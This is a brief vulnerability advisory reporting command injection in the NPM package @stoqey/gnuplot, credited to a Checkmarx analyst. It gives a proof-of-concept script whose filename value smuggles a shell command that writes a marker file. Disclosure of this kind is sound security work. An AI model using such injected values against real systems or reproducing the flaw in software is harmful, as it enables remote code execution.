Summary
All versions of the NPM package @stoqey/gnuplot are vulnerable to command injection. The function plotCallack receives and executes unsanitized input that is controlled by the user.
Product
This vulnerability affects all versions of @stoqey/gnuplot.
Impact
This issue may lead to remote code execution if the method is called with malicious user input.
Steps to reproduce
- Create the file
poc.js:const {plot} = require('@stoqey/gnuplot'); plot({ data: [ 1, 2, 3 ], filename: 'output.png"}"&echo vulnerable > result""', format: 'svg' }); - Run
node poc.js
Expected result:
A file named result will be created with “vulnerable” written inside.
Remediation
Currently there are no fixed versions. A workaround is to avoid passing untrusted input into the vulnerable parameters when using the library.
Credit
This issue was discovered and reported by Checkmarx SCA Security Analyst Mário Teixeira.